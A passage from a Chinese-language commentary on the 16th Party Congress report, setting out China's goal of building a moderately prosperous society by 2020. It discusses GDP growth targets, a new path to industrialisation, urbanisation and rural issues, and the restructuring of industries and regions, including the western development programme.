应当看到,把全面建设小康社会作为新世纪新阶段的奋斗目标,是一个令人鼓舞、催人奋进的目标,符合中国国情,符合我国现代化建设实际,符合邓小平提出的关于分阶段、有步骤地实现现代化的战略思想,不仅易于为人民理解,而且目标不那么张扬,不会给外国人以咄咄逼人的感觉,有利于在国际上树立良好的形象。全面建设小康社会,是就全国整体水平而言的。有条件的地方,如东部一些省市,可以发展得更快一点,在全面建设小康社会的基础上,率先基本实现现代化。
全面建设小康社会的主要经济任务是,用20年时间,完善社会主义市场经济体制,推动经济结构战略性调整,基本实现工业化,大力推进信息化,加快建设现代化,保持国民经济持续快速健康发展,不断提高人民生活水平。全面建设小康社会同基本实现现代化的涵义是有所不同的,因为基本实现现代化要求更高,要到21世纪中叶才能做到。
二、一个主题――新世纪头20年经济继续保持快速健康发展
十六大报告指出必须把发展作为党执政兴国的第一要务。这里讲的发展,最主要的是经济发展。对中国来说,发展还不是一般的发展,而是要快速发展。因此,新世纪头20年全面建设小康社会,其主题就是经济继续保持快速健康发展。
改革开放以来,我国经济持续高速增长。1978―2000年, 我国GDP年均增长9.52%,是建国以来经济发展最快最好的一个时期,也是全世界经济增长最快的国家。2000年,我国GDP达8.94万亿元人民币, 按当年汇率计算超过1万亿美元。根据世界银行资料,2000年我国GDP总量排在美、日、德、英、法之后,超过意大利,居世界第6位。 如果按购买力平价计算,世界银行认为,我国2000年GDP已达到4万亿美元。由于综合国力迅速提高,我国经济发展水平已经由低收入国家进入中下收入国家行列。根据世界银行的计算和划分标准,1999年全世界中下收入国家为人均GNP756美元以上,我国当年人均GNP已达到780美元。2000年,我国人均GDP(由于我们利用不少外资,因而人均GDP,略大于人均GNP )为840美元,有了进一步提高。在经济高速发展的基础上, 我国人民生活水平和质量上了一个台阶,总体上达到了小康水平。
从新世纪开始,我国进入全面建设小康社会,加快推进社会主义现代化的新的发展阶段。全面建设小康社会,中心就是要用大约20年时间基本实现工业化和城市化,而其基础和主题,则是要在这20年继续保持经济的快速发展,即做到每10年翻一番,20年翻两番,平均每年经济增长7.18%。这个速度虽然比前22年低一些,但是仍属高速或快速发展范畴。分析各方面的条件说明,实现上述快速发展是完全可能的,工作做得好还有可能超过。
中国具有并将继续保持高储蓄率和投资率,有世界上最富裕的劳动力资源,正在迅速推进工业化、现代化建设。同时中国人民迫切要求提高生活水平和质量,中国有世界上最广阔的市场。改革开放不断解放和发展社会生产力,改善生产力的组织,能够把各种生产潜力组织起来发挥出来。因此,许多经济学家都认为,中国经济尽管已经持续高速增长了20多年,今后20年仍然具有较高的自然经济增长率,能保持7%―8%的平均增长水平,超过日本、韩国20世纪60年代至80年代持续高速增长的时间。2001年和2002年前三个季度在世界经济低迷的不利条件下,中国经济增势不减,仍实现7.3%和7.9%的高速增长,这说明中国经济具有相当强的活力和发展势头。
据有关部门测算,中国经济2001―2020年年均GDP增长7.18%, 同期世界上中等收入国家年均GDP增长3%,则中国人均GDP到2010年为1592美元,2020年为3027美元,同期中等收入国家人均GDP为2513美元和3097美元。可见,到2020年,中国人均GDP将达到中等收入国家平均水平。到那时,中国的经济总量可能跃升到世界第3位,从占世界经济总量的3.4%上升到占8.4%。
为在新世纪头20年经济继续保持快速健康发展,需要从以下几个方面努力:
第一,制订和实施恰当的经济发展战略。邓小平同志已经为我国制订了三步走和第三步发展战略的目标,即到21世纪上半叶基本实现现代化,达到世界中等发达国家的水平。党的十五大以来和十六大,又进一步将第三步发展战略再分为三个阶段,即第一阶段从2001年到2010年,经济总量翻一番;第二阶段从2011年到2020年,经济总量力争再翻一番,实现全面建设小康社会的目标;第三阶段从2021年到2050年,经济总量大体再翻两番,基本实现现代化,实现中华民族的伟大复兴。
第二,完善发展思路,实施恰当的宏观经济政策和其它重大方针政策。首先,适应经济全球化和世界新科技革命的趋势,发展要有新的思路。概括来说,一是要以提高经济效益为中心,注重依靠科技进步和加强管理,提高经济增长的质量和效益。二是注重资源的永续利用和生态保护,更好地实现可持续发展。三是注重地区城乡协调发展和社会全面进步,不断提高人民生活水平和质量。其次,要根据经济形势的发展变化,实施恰当的宏观经济政策和其它重大方针政策。比如,中国经济是大国经济,扩大国内市场应是我国经济发展
长期的立足点。当前要继续实施扩张性的宏观经济政策;相当长时期实行扩大内需的方针;更积极地推进可持续发展战略、科教兴国战略、人才战略等。
第三,深化改革,扩大开放。到2000年底,我们已经初步建立社会主义市场经济体制,但经济发展的体制性障碍仍到处可见,严重影响经济潜力的发挥。进入新世纪,改革还要求有新的突破,即要以完善社会主义市场经济体制为目标,继续推进市场取向改革,从根本上消除束缚生产力发展的体制性障碍;在调整所有制结构、深化企业改革、健全市场体系、完善宏观经济调控、理顺分配关系和健全社会保障体系等方面取得新的重大进展,为经济发展不断注入新的活力。改革是经济发展的强大动力,改革的不断深化和取得成功,将最有力地推进经济的快速发展。与此同时,开放也要有新局面,即要适应我国加入世贸组织的新形势,在更大范围、更广领域、更高层次上参与国际经济技术合作与竞争,拓展经济发展空间,全面提高对外开放水平。
三、走新型工业化道路
中国新世纪新阶段的最主要任务是实现工业化。工业化一般指制造业和第二产业占GDP的比重上升, 从事制造业和第二产业的劳动力增加而从事第一产业的劳动力不断减少的过程。我国目前已处于工业化的中期阶段,尚未实现工业化,这是大多数经济学家的共识。由于世界科技革命迅猛发展,信息化浪潮席卷全球,发达国家都已进入后工业化阶段,在这种条件下,我们已不能再走传统工业化的道路,而要用信息化带动工业化,走新型工业化的道路。新型工业化的特点,一是科技含量高,二是经济效益好,三是资源消耗低,四是环境污染少,五是人力资源优势得到充分发挥。前四条是根据我国人均资源短缺(注:根据国家统计局材料,人均耕地面积2000年世界平均为0.24公顷,而中国只有0.1公顷。人均淡水资源,2000年世界平均为8241立方米,而我国只有2257立方米。人均探明可开采石油储量,2000年美国为13.6吨,巴西为6.7吨,而我国只有4.2吨。)和适应世界科技进步日新月异发展的要求,第五条则是根据中国人力资源特别丰富的国情提出来的。
走新型工业化道路,就要大力推进国民经济和社会信息化,在政务、商务和国民经济其他领域广泛应用信息技术;在着力发展高新技术产业的同时,用信息技术和其它高新技术、先进适用技术改造传统产业,实现产业结构的优化升级,形成以高新技术产业为先导、基础产业和制造业为支撑、服务业全面发展的产业格局,处理好发展高新技术产业和传统产业、资金密集型产业和劳动密集型产业的关系。信息化和现代服务业的迅速发展,使工业化的标志已不再主要体现在工业和第二产业增加值在GDP总量中占优势,而应是工业和现代服务业增加值在GDP总量中占较大优势,同时农业增加值在GDP总量中的比重, 特别是农村劳动力在全部劳动力中的比重大大下降;建成独立完整的在国际市场上有竞争力的制造业体系,工业制成品在出口产品中取代初级产品占越来越大比重;制造业和第二产业的发展不是以拼资源、拼能源、环境恶化和生态破坏为代价,而是处处要考虑可持续发展,保护资源和环境,提倡循环使用,回收再用,重复利用,采用新技术特别是清洁生产技术,提高生产过程和产品的绿色化程度,等等。
走新型工业化道路是一个很大的课题,有待进一步研究。特别是走新型工业化道路如何同重视发展科技教育和坚持可持续发展结合起来,还有很多工作要做,有很多问题要研究。
四、统筹城乡经济社会发展,提高城镇化水平
十六大报告对三农问题特别重视,在经济建设和经济体制改革部分单列一题叙述,这是过去党代表大会报告中没有过的。报告指出,统筹城乡经济社会发展,建设现代农业,发展农村经济,增加农民收入,是全面建设小康社会的重大任务。
十六大报告的一个重要特点是既论述农业发展的方针政策,又跳出农业寻找解决三农问题的出路,明确提出要统筹城乡经济社会发展。报告肯定,农村富余劳动力向非农产业和城镇转移,是工业化和现代化的必然趋势。要逐步提高城镇化水平,坚持大中小城市和小城镇协调发展,走中国特色的城镇化道路。发展小城市要以现有的县城和有条件的建制镇为基础,科学规划,合理布局,同发展乡镇企业和农村服务业结合起来。十六大报告还提出,要消除不利于城镇化发展的体制和政策障碍,引导农村劳动力合理有序流动。这无论在理论上还是在实践上都有重要意义。中国只有走出二元经济结构状态,将成亿的`农村富余劳动力向城市转移,才能使农民的收入水平有较大幅度的提高,才能从根本上解决三农问题,才能实现全面的小康,这已成为经济学家的共识。改革开放以来,我国城市化(城镇化)进程加速,至2001年已达37%,但是还不够快,至今仍有占63%的人口在农村,有占近50%的劳动力从事农业,而创造的国内生产总值只占15%。所以,今后在深化农村改革、加强农业基础地位、推进农业和农村经济结构调整、保护和提高粮食综合生产能力、增强农业的市场竞争力的同时,要更有力地推进城市化进程,促进城乡经济的协调发展。加快城市化或城镇化可说是发展新思路的一个重要方面,需认真研究诸如用城市化概念好还是城镇化概念好、城市化道路如何走、发展小城镇的地位与作用等问题。
五、继续调整产业结构和地区结构
中央十五计划建议把经济结构的战略性调整作为主线,这是适应新阶段新形势(如经济全球化趋势在曲折中发展、科技进步日新月异、一般商品买方市场格局形成以及中国加入世贸组织)作出的正确选择。调整经济结构,除了上面已论述的调整城乡结构外,主要是推进产业结构优化升级,实施西部大开发战略,促进区域经济协调发展。
调整产业结构,一是要积极发展对经济增长有突破性重大带动作用的高新技术产业,包括信息、生物、航天航空、新材料、新能源产业,在政务、商务、公共服务和国民经济的其他领域广泛应用信息技术。二是用高新技术和先进适用技术改造传统产业,大力振兴装备制造业,包括加快老工业基地的调整和改造。三是继续加强水利、能源、交通、通信和环保等基础设施建设,重点建设和改造一批关系全局的重大项目。四是加快发展金融、物流、旅游和咨询等现代服务业,提高第三产业在国民经济中的比重,未来大规模增加就业岗位主要靠发展第三产业。做到了以上几点,我们就能实现产业结构的升级。
调整地区结构,实施西部大开发,更是要从各地区实际出发,发展本地区的优势产业。加强区域经济交流和合作,实现优势互补,共同发展。通过国家的支持和本地的努力,加快西部地区开发,首先要遏制与东中部地区差距扩大的趋势,然后才能创造条件,逐步缩小与东中部地区的差距,也许这要2020年以后才能做到。
十六大报告对如何推进西部大开发指明了方向,这就是要打好基础,扎实推进,重点抓好基础设施和生态环境建设,争取十年内取得突破性进展;积极发展特色优势产业,推进重点地带开发;发展科技教育,培养和用好各类人才。为做到这几点,国家主要在投资项目、税收政策和财政转移支付等方面加大对西部地区的支持,逐步建立长期稳定的西部开发资金渠道,引导外资和国内资本参与西部开发。西部地区则要进一步解放思想,增强自我发展能力,着力改善投资环境特别是软环境,在改革开放中走
出一条加快发展的新路。全面建设小康社会,以及加快建设现代化,其难点在西部地区。没有西部地区的小康,就没有全面的小康;没有西部地区的现代化,就没有全国的现代化。所以,西部大开发关系全国发展目标的实现,也是促进我国区域经济协调发展的重大举措。
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